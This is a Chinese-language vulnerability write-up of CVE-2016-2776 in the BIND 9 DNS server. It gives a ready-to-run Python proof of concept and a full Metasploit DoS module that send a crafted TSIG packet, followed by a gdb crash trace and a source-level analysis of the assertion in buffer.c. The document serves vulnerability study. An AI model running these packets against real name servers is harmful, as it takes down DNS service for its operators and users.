作者:k0shl 转载请注明出处
漏洞说明
这个漏洞没想到危害还挺高,在cnvd里专门发了一个漏洞公告,BIND 9是一套DNS域名解析服务软件,这个漏洞会导致DNS服务器拒绝服务,虽然是拒绝服务漏洞,但是却被定级为高危,同样BIND 9直接在网上获取软件下载就行了。
PoC:
import socket
import struct
TARGET = ('192.168.200.10', 53)
Q_A = 1
Q_TSIG = 250
DNS_MESSAGE_HEADERLEN = 12
def build_bind_nuke(question="\x06google\x03com\x00", udpsize=512):
query_A = "\x8f\x65\x00\x00\x00\x01\x00\x00\x00\x00\x00\x01" + question + int16(Q_A) + "\x00\x01"
sweet_spot = udpsize - DNS_MESSAGE_HEADERLEN + 1
tsig_rr = build_tsig_rr(sweet_spot)
return query_A + tsig_rr
def int16(n):
return struct.pack("!H", n)
def build_tsig_rr(bind_demarshalled_size):
signature_data = ("\x00\x00\x57\xeb\x80\x14\x01\x2c\x00\x10\xd2\x2b\x32\x13\xb0\x09"
"\x46\x34\x21\x39\x58\x62\xf3\xd5\x9c\x8b\x8f\x65\x00\x00\x00\x00")
tsig_rr_extra_fields = "\x00\xff\x00\x00\x00\x00"
necessary_bytes = len(signature_data) + len(tsig_rr_extra_fields)
necessary_bytes += 2 + 2 # length fields
# from sizeof(TSIG RR) bytes conforming the TSIG RR
# bind9 uses sizeof(TSIG RR) - 16 to build its own
sign_name, algo_name = generate_padding(bind_demarshalled_size - necessary_bytes + 16)
tsig_hdr = sign_name + int16(Q_TSIG) + tsig_rr_extra_fields
tsig_data = algo_name + signature_data
return tsig_hdr + int16(len(tsig_data)) + tsig_data
def generate_padding(n):
max_per_bucket = [0x3f, 0x3f, 0x3f, 0x3d, 0x3f, 0x3f, 0x3f, 0x3d]
buckets = [1] * len(max_per_bucket)
min_size = len(buckets) * 2 + 2 # 2 bytes for every bucket plus each null byte
max_size = sum(max_per_bucket) + len(buckets) + 2
if not(min_size <= n <= max_size):
raise RuntimeException("unsupported amount of bytes")
curr_idx, n = 0, n - min_size
while n > 0:
next_n = max(n - (max_per_bucket[curr_idx] - 1), 0)
buckets[curr_idx] = 1 + n - next_n
n, curr_idx = next_n, curr_idx + 1
n_padding = lambda amount: chr(amount) + "A" * amount
stringify = lambda sizes: "".join(map(n_padding, sizes)) + "\x00"
return stringify(buckets[:4]), stringify(buckets[4:])
if __name__ == "__main__":
bombita = build_bind_nuke()
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.sendto(bombita, TARGET)
s.close()
'''
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'timeout'
require 'socket'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Capture
include Msf::Auxiliary::UDPScanner
include Msf::Auxiliary::Dos
include Msf::Auxiliary::Report
def initialize(info={})
super(update_info(info,
'Name' => 'BIND 9 DoS CVE-2016-2776',
'Description' => %q{
Denial of Service Bind 9 DNS Server CVE-2016-2776.
Critical error condition which can occur when a nameserver is constructing a response.
A defect in the rendering of messages into packets can cause named to exit with an
assertion failure in buffer.c while constructing a response to a query that meets certain criteria.
This assertion can be triggered even if the apparent source address isnt allowed
to make queries.
},
# Research and Original PoC - msf module author
'Author' => [ 'Martin Rocha', 'Ezequiel Tavella', 'Alejandro Parodi', 'Infobyte Research Team'],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2016-2776' ],
[ 'URL', 'http://blog.infobytesec.com/2016/10/a-tale-of-dns-packet-cve-2016-2776.html' ]
],
'DisclosureDate' => 'Sep 27 2016',
'DefaultOptions' => {'ScannerRecvWindow' => 0}
))
register_options([
Opt::RPORT(53),
OptAddress.new('SRC_ADDR', [false, 'Source address to spoof'])
])
deregister_options('PCAPFILE', 'FILTER', 'SNAPLEN', 'TIMEOUT')
end
def check_server_status(ip, rport)
res = ""
sudp = UDPSocket.new
sudp.send(valid_query, 0, ip, rport)
begin
Timeout.timeout(5) do
res = sudp.recv(100)
end
rescue Timeout::Error
end
if(res.length==0)
print_good("Exploit Success (Maybe, nameserver did not replied)")
else
print_error("Exploit Failed")
end
end
def scan_host(ip)
@flag_success = true
print_status("Sending bombita (Specially crafted udp packet) to: "+ip)
scanner_send(payload, ip, rport)
check_server_status(ip, rport)
end
def get_domain
domain = "\x06"+Rex::Text.rand_text_alphanumeric(6)
org = "\x03"+Rex::Text.rand_text_alphanumeric(3)
get_domain = domain+org
end
def payload
query = Rex::Text.rand_text_alphanumeric(2) # Transaction ID: 0x8f65
query += "\x00\x00" # Flags: 0x0000 Standard query
query += "\x00\x01" # Questions: 1
query += "\x00\x00" # Answer RRs: 0
query += "\x00\x00" # Authority RRs: 0
query += "\x00\x01" # Additional RRs: 1
# Doman Name
query += get_domain # Random DNS Name
query += "\x00" # [End of name]
query += "\x00\x01" # Type: A (Host Address) (1)
query += "\x00\x01" # Class: IN (0x0001)
# Aditional records. Name
query += ("\x3f"+Rex::Text.rand_text_alphanumeric(63))*3 #192 bytes
query += "\x3d"+Rex::Text.rand_text_alphanumeric(61)
query += "\x00"
query += "\x00\xfa" # Type: TSIG (Transaction Signature) (250)
query += "\x00\xff" # Class: ANY (0x00ff)
query += "\x00\x00\x00\x00" # Time to live: 0
query += "\x00\xfc" # Data length: 252
# Algorithm Name
query += ("\x3f"+Rex::Text.rand_text_alphanumeric(63))*3 #Random 192 bytes
query += "\x1A"+Rex::Text.rand_text_alphanumeric(26) #Random 26 bytes
query += "\x00"
# Rest of TSIG
query += "\x00\x00"+Rex::Text.rand_text_alphanumeric(4) # Time Signed: Jan 1, 1970 03:15:07.000000000 ART
query += "\x01\x2c" # Fudge: 300
query += "\x00\x10" # MAC Size: 16
query += Rex::Text.rand_text_alphanumeric(16) # MAC
query += "\x8f\x65" # Original Id: 36709
query += "\x00\x00" # Error: No error (0)
query += "\x00\x00" # Other len: 0
end
def valid_query
query = Rex::Text.rand_text_alphanumeric(2) # Transaction ID: 0x8f65
query += "\x00\x00" # Flags: 0x0000 Standard query
query += "\x00\x01" # Questions: 1
query += "\x00\x00" # Answer RRs: 0
query += "\x00\x00" # Authority RRs: 0
query += "\x00\x00" # Additional RRs: 0
# Doman Name
query += get_domain # Random DNS Name
query += "\x00" # [End of name]
query += "\x00\x01" # Type: A (Host Address) (1)
query += "\x00\x01" # Class: IN (0x0001)s
end
end
测试环境:
kali linux 2.0
gdb with peda
在kali linux上运行BIND 9,不需要配置,直接tar解压之后configure make make install安装即可,安装过程网上有很多说明,安装完成后启动服务会看到开启了53端口,之后运行python发送payload
漏洞分析
BIND 9是一款著名的DNS服务端,其中,buffer.c存在一处断言导致的拒绝服务漏洞,在CNVD特地发公告表明BIND 9的拒绝服务漏洞属于高危漏洞,这个漏洞是由于buffer.c中会有一个对于长度的判断,如果我们构造特殊的数据包,加上/0,会导致长度判断不通过,导致BIND 9会进入assert断言处理,从而引发拒绝服务漏洞。下面对此漏洞进行详细分析。
首先部署BIND 9服务,这时候linux会开启53端口,gdb附加,发送畸形数据包。
可以看到Payload在Additional records字段中,数据包发送后,gdb会命中断点。
gdb-peda$ run
Starting program: /usr/sbin/named
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/i386-linux-gnu/i686/cmov/libthread_db.so.1".
[New process 9722]
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/i386-linux-gnu/i686/cmov/libthread_db.so.1".
[New Thread 0xb751ab40 (LWP 9723)]
[New Thread 0xb6d19b40 (LWP 9724)]
[New Thread 0xb6518b40 (LWP 9725)]
Program received signal SIGABRT, Aborted.
[Switching to Thread 0xb751ab40 (LWP 9723)]
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0x25fa
ECX: 0x25fb
EDX: 0x6
ESI: 0x1
EDI: 0xb7b23000 --> 0x1a5da8
EBP: 0x800a3d30 --> 0x800a0d80 --> 0x80072745 ("main")
ESP: 0xb7515a64 --> 0x800a3d30 --> 0x800a0d80 --> 0x80072745 ("main")
EIP: 0xb7fdebe0 (<__kernel_vsyscall+16>: pop ebp)
EFLAGS: 0x200206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0xb7fdebdc <__kernel_vsyscall+12>: nop
0xb7fdebdd <__kernel_vsyscall+13>: nop
0xb7fdebde <__kernel_vsyscall+14>: int 0x80
=> 0xb7fdebe0 <__kernel_vsyscall+16>: pop ebp
0xb7fdebe1 <__kernel_vsyscall+17>: pop edx
0xb7fdebe2 <__kernel_vsyscall+18>: pop ecx
0xb7fdebe3 <__kernel_vsyscall+19>: ret
0xb7fdebe4: int3
[------------------------------------stack-------------------------------------]
0000| 0xb7515a64 --> 0x800a3d30 --> 0x800a0d80 --> 0x80072745 ("main")
0004| 0xb7515a68 --> 0x6
0008| 0xb7515a6c --> 0x25fb
0012| 0xb7515a70 --> 0xb79ab307 (<__GI_raise+71>: xchg ebx,edi)
0016| 0xb7515a74 --> 0xb7b23000 --> 0x1a5da8
0020| 0xb7515a78 --> 0xb7515b14 --> 0x0
0024| 0xb7515a7c --> 0xb79ac9c3 (<__GI_abort+323>: mov edx,DWORD PTR gs:0x8)
0028| 0xb7515a80 --> 0x6
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGABRT
这时候接收到了一个SIGABRT信号,在调用abort后会到达这个位置,从而中止DNS服务,通过bt的方法回溯一下堆栈调用情况。
gdb-peda$ bt
#0 0xb7fdebe0 in __kernel_vsyscall ()
#1 0xb79ab307 in __GI_raise (sig=sig@entry=0x6)
at ../nptl/sysdeps/unix/sysv/linux/raise.c:56
#2 0xb79ac9c3 in __GI_abort () at abort.c:89
#3 0x8002da86 in ?? ()
#4 0xb7cdb7d5 in isc_assertion_failed () from /usr/lib/libisc.so.95
#5 0xb7cdd931 in isc.buffer_add () from /usr/lib/libisc.so.95
#6 0xb7de784b in dns_name_towire () from /usr/lib/libdns.so.100
#7 0xb7e58b08 in ?? () from /usr/lib/libdns.so.100
#8 0xb7ddf0a0 in dns_message_rendersection () from /usr/lib/libdns.so.100
#9 0x80021417 in ?? ()
#10 0x80021851 in ?? ()
#11 0x80022ac4 in ?? ()
#12 0xb7cfdf0c in ?? () from /usr/lib/libisc.so.95
#13 0xb7caeefb in start_thread (arg=0xb751ab40) at pthread_create.c:309
#14 0xb7a6662e in clone () at ../sysdeps/unix/sysv/linux/i386/clone.S:129
可以看到,在#4位置调用了isc_assertion_failed,随后执行了abort然后vsyscall中止服务,#4位置的assert应该是一处断言错误。来看一下buffer.c的源码部分。
void
isc__buffer_add(isc_buffer_t *b, unsigned int n) {
/*
* Increase the 'used' region of 'b' by 'n' bytes.
*/
REQUIRE(ISC_BUFFER_VALID(b));
REQUIRE(b->used + n <= b->length);
ISC__BUFFER_ADD(b, n);
}
在源码中关于isc__buffer_add的描述并没有涉及assert部分,但实际上REQUIRE就是一个断言的函数调用,我们通过IDA来观察这个过程。
首先,当服务端接收到数据包的时候,根据additional records字段会先调用dns_name_towire函数处理名称部分。
isc_result_t
dns_name_towire(dns_name_t *name, dns_compress_t *cctx, isc_buffer_t *target) {
……
dns_name_init(&gp, po);
dns_name_init(&gs, so);
isc_buffer_init(&gws, gb, sizeof (gb));
offset = target->used; /*XXX*/
methods = dns_compress_getmethods(cctx);
if ((methods & DNS_COMPRESS_GLOBAL) != 0)
gf = dns_compress_findglobal(cctx, name, &gp, &gs, &go, &gws);
else
gf = ISC_FALSE;
/*
* Will the compression pointer reduce the message size?
*/
if (gf && (gp.length + ((go < 16384) ? 2 : 3)) >= name->length)
gf = ISC_FALSE;
if (gf) {
if (target->length - target->used < gp.length)
return (ISC_R_NOSPACE);
(void)memcpy((unsigned char *)target->base + target->used,
gp.ndata, (size_t)gp.length);
isc_buffer_add(target, gp.length);
……
}
这里我取了关键的一部分代码,isc_buffer_add(target, gp.length);这个函数调用就是最关键的调用部分。
我们需要跟踪一下gp的值,实际上target指针指向的buffer就是畸形字符串。gp的值是什么呢。gp的值来自于dns_compress_findglobal函数。
isc_boolean_t
dns_compress_findglobal(dns_compress_t *cctx, dns_name_t *name,
dns_name_t *prefix, dns_name_t *suffix,
isc_uint16_t *offset, isc_buffer_t *workspace)
{
REQUIRE(VALID_CCTX(cctx));
REQUIRE(dns_name_isabsolute(name) == ISC_TRUE);
REQUIRE(offset != NULL);
return (compress_find(cctx->global, name, prefix, suffix, offset,
workspace));
}
gp的值是name的prefix部分,随后进入isc__buffer_add中。
int __cdecl isc__buffer_add(int a1, int a2)
{
int result; // eax@1
unsigned int v3; // edx@3
result = a1;
if ( !a1 || *(_DWORD *)a1 != 1114990113 )
isc_assertion_failed(
(int)"buffer.c",
126,
0,
(int)"(((b) != ((void *)0)) && (((const isc__magic_t *)(b))->magic == (0x42756621U)))");
v3 = *(_DWORD *)(a1 + 12) + a2;
if ( v3 > *(_DWORD *)(a1 + 8) )
isc_assertion_failed((int)"buffer.c", 127, 0, (int)"b->used + n <= b->length");
*(_DWORD *)(a1 + 12) = v3;
return result;
}
当进入第二个断言错误判断if ( v3 > *(_DWORD *)(a1 + 8) )的时候,我们来看一下这个过程的值,首先a1+8是name结构体中存放name长度的部分。
[------------------------------------stack-------------------------------------]
0000| 0xb74de6b0 --> 0xb74de710 ("nSND\b\020L\265\001")
0004| 0xb74de6b4 --> 0xb7cdd8d6 (<isc__buffer_add+6>: add ebx,0x5f0aa)
0008| 0xb74de6b8 --> 0xb7f9fac8 --> 0x22a998
0012| 0xb74de6bc --> 0xb7de784b (<dns_name_towire+507>: movzx eax,WORD PTR [esp+0x18])
0016| 0xb74de6c0 --> 0xb54c5040 ("!fuBxQL\265")
0020| 0xb74de6c4 --> 0x1
0024| 0xb74de6c8 --> 0x1
0028| 0xb74de6cc --> 0xb74de6e2 --> 0x536e0000 ('')
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0xb7cdd8f6 in isc.buffer_add () from /usr/lib/libisc.so.95
gdb-peda$ x/10x $eax
0xb54c5040: 0x42756621 0xb54c5178 0x00000200 0x0000000c
0xb54c5050: 0x00000000 0x00000000 0xffffffff 0xffffffff
0xb54c5060: 0x00000000 0x00000000
注意b54c5040+8h的位置部分,存放的是长度,这个长度的获取时根据DNS数据包中字段的值决定的,但是如果这个值碰上/0,则会结束。
所以重新看一下发送的数据包,如果碰上/0,则会满足v3,也就是总长度大于字段中存放长度的时候,进入断言判断,DNS服务被中止。
这个呢 CNVD编号多少阿